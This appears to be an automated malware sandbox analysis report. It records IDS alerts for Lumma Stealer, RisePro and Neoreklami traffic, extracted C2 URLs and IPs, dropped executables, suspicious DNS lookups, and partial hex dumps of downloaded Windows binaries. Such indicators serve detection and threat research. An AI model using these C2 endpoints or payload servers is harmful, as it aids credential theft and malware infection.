Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:54292 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49971 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49972
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49973
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49974 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49976 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49975 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49978 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49979 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49982 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49985 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49986 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.126:58709 -> 192.168.2.4:49988
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49973 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49972 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49987 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49989 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49990 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49992 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49994 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49996 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49997 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50008 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50011 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50013 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50016 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:64944 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50017 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50019 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2045700 ET MALWARE DNS Query to Neoreklami (service-domain .xyz) 192.168.2.4:63103 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50021 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:50022
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50038 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2041922 ET MALWARE Win32/Adware.Neoreklami.MI Activity M2 192.168.2.4:50041 -> 44.235.180.78:80
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50042 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50049 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50052 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50054 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50056 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:50057 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.172.128.170/7043a0c6a68d9c65.php
Source: Malware configuration extractor	URLs: http://185.172.128.170/7043a0c6a68d9c65.php
Source: Malware configuration extractor	URLs: http://cajgtus.com/lancer/get.php
Source: Malware configuration extractor	URLs: 5.42.65.115:40551

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.126 ports 0,5,7,8,58709,9

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: 1NhdxU61U0SrSVJsObDYbd2A.exe.0.dr
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: 0HBkpGNsgSJFxEE20V1FOH58.exe.0.dr
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: QD1dspH2lUDhmhxJzaLbmKhZ.exe.0.dr
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: ZWIjNFEp3fkubvKrnOBf8J4U.exe.0.dr

Performs DNS queries to domains with low reputation

Source:	DNS query: f.123654987.xyz
Source:	DNS query: service-domain.xyz
Source:	DNS query: api4.check-data.xyz

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 49761

Source: unknown

Network traffic detected: DNS query count 30

Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 147.45.47.149:54674
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 5.42.67.8:50500
Source: global traffic	TCP traffic: 192.168.2.4:49814 -> 5.42.65.116:50500
Source: global traffic	TCP traffic: 192.168.2.4:49822 -> 147.45.47.126:58709
Source: global traffic	TCP traffic: 192.168.2.4:49835 -> 5.42.65.115:40551

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:05 GMTServer: Apache/2.4.52 (Ubuntu)Content-Description: File TransferContent-Disposition: attachment; filename=timeSync.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 223232Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf fa 6e c5 fb 9b 00 96 fb 9b 00 96 fb 9b 00 96 f6 c9 df 96 e1 9b 00 96 f6 c9 e0 96 82 9b 00 96 f6 c9 e1 96 dc 9b 00 96 f2 e3 93 96 fc 9b 00 96 fb 9b 01 96 9f 9b 00 96 4e 05 e1 96 fa 9b 00 96 f6 c9 db 96 fa 9b 00 96 4e 05 de 96 fa 9b 00 96 52 69 63 68 fb 9b 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ba f1 d6 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 4e 88 02 00 00 00 00 87 3e 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 89 02 00 04 00 00 cf 50 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 69 01 00 50 00 00 00 00 c0 88 02 e8 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 69 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 5f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2f e5 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 71 00 00 00 00 01 00 00 72 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 30 87 02 00 80 01 00 00 76 01 00 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 94 00 00 00 c0 88 02 00 96 00 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Fri, 24 May 2024 07:36:31 GMTETag: "271a00-6192e39e89dc0"Accept-Ranges: bytesContent-Length: 2562560Content-Type: application/x-msdos-programData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 96 0f 00 00 80 17 00 00 00 00 00 98 a4 0f 00 00 10 00 00 00 b0 0f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 27 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 e0 0f 00 0c 22 00 00 00 70 11 00 00 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 10 00 48 36 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 10 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 00 95 0f 00 00 10 00 00 00 96 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 dc 1f 00 00 00 b0 0f 00 00 20 00 00 00 9a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 15 0e 00 00 00 d0 0f 00 00 00 00 00 00 ba 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 0c 22 00 00 00 e0 0f 00 00 24 00 00 00 ba 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 18 00 00 00 00 10 10 00 00 00 00 00 00 de 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 10 00 00 02 00 00 00 de 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 48 36 01 00 00 30 10 00 00 38 01 00 00 e0 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 02 16 00 00 70 11 00 00 02 16 00 00 18 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 80 27 00 00 00 00 00 00 1a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 02 May 2024 09:42:48 GMTETag: "ae0000-617756d063600"Accept-Ranges: bytesContent-Length: 11403264Content-Type: application/x-msdownloadData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 e2 5f 33 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 2c ca 00 00 00 00 00 60 8b fa 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 a5 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 91 01 64 00 00 00 00 90 a5 01 58 2c 00 00 00 59 a5 01 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 8a 8c 01 28 00 00 00 c0 57 a5 01 38 01 00 00 00 00 00 00 00 00 00 00 00 b0 f7 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b6 7e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f0 1d 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 e6 c9 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 a0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 ec d3 2c 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 38 08 00 00 00 b0 f7 00 00 0a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 fc c3 ad 00 00 c0 f7 00 00 c4 ad 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 58 2c 00 00 00 90 a5 01 00 2e 00 00 00 d2 ad 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Default12_v2.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 3134976Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 fa 61 35 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 70 00 00 04 00 00 af 9e 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 3f 33 00 2c 01 00 00 00 f0 5a 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 5a 00 5c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 70 2d 00 18 00 00 00 50 c7 5a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 2b 00 84 00 00 00 dc 41 38 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 bb 15 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 32 7e 02 00 00 d0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 30 49 00 00 00 50 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 80 86 12 00 00 a0 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 76 6d 70 c3 a9 10 c2 88 05 00 00 00 30 2b 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 20 8f 2f 00 00 40 2b 00 00 90 2f 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 5c 1a 00 00 00 d0 5a 00 00 1c 00 00 00 9a 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 02 26 15 00 00 f0 5a 00 00 20 00 00 00 b6 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 24 May 2024 07:42:05 GMTContent-Type: application/octet-streamContent-Length: 228864Last-Modified: Wed, 22 May 2024 09:24:31 GMTConnection: keep-aliveETag: "664db9cf-37e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 37 15 01 13 73 74 6f 40 73 74 6f 40 73 74 6f 40 21 1c 6c 41 7b 74 6f 40 21 1c 6a 41 4c 74 6f 40 21 1c 6b 41 6f 74 6f 40 7a 0c fc 40 61 74 6f 40 1c 10 6e 41 7a 74 6f 40 73 74 6e 40 da 74 6f 40 e9 1d 6a 41 7e 74 6f 40 e9 1d 6d 41 72 74 6f 40 52 69 63 68 73 74 6f 40 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 41 25 22 5e 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 72 01 00 00 08 02 00 00 00 00 00 60 3b 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 29 37 04 00 02 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 6f 02 00 18 01 00 00 00 c0 02 00 30 eb 00 00 00 a0 02 00 fc 15 00 00 00 00 00 00 00 00 00 00 00 b0 03 00 dc 06 00 00 30 26 02 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 27 02 00 28 00 00 00 90 26 02 00 00 01 00 00 00 00 00 00 00 00 00 00 00 90 01 00 68 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc 71 01 00 00 10 00 00 00 72 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 ef 00 00 00 90 01 00 00 f0 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e8 19 00 00 00 80 02 00 00 0e 00 00 00 66 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 fc 15 00 00 00 a0 02 00 00 16 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 f0 00 00 00 c0 02 00 00 ec 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 06 00 00 00 b0 03 00 00 08 00 00 00 76 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
